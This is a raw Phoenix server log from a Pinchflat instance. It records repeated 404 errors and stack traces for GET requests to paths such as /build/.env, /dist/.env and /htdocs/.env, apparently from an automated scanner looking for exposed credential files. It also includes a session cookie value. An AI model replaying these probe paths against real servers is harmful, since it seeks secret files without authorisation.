Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/build/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6XyVktRX0RIAAQ_B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/build/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 64, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /build/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/build/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 64, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:12.641 [info] GET /dist/.env 02:10:12.642 [debug] QUERY OK source="settings" db=0.4ms idle=246.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:12.643 [debug] QUERY OK source="settings" db=0.2ms idle=164.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:12.643 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:12.643 [error] #PID<0.3369.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 65) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /dist/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dist/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dist/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 65, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3369.0>, params: %{}, path_info: ["dist", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/dist/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6YGKhCo4IDsAARAB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dist/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 65, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dist/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dist/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 65, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, ho (truncated) 02:10:12.724 [info] GET /public_html/.env 02:10:12.725 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=245.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:12.726 [debug] QUERY OK source="settings" db=0.3ms idle=166.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:12.726 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:12.727 [error] #PID<0.3370.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 66) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /public_html/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /public_html/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public_html/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 66, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3370.0>, params: %{}, path_info: ["public_html", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/public_html/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6YZ42U1TtHcAARBB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public_html/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 66, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /public_html/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public_html/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 66, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8x (truncated) 02:10:12.824 [info] GET /htdocs/.env 02:10:12.825 [debug] QUERY OK source="settings" db=0.3ms idle=265.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:12.825 [debug] QUERY OK source="settings" db=0.0ms idle=183.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:12.825 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:12.826 [error] #PID<0.3371.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 67) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /htdocs/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /htdocs/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/htdocs/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 67, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3371.0>, params: %{}, path_info: ["htdocs", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/htdocs/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6Yx4VlFTA5QAARCB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/htdocs/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => 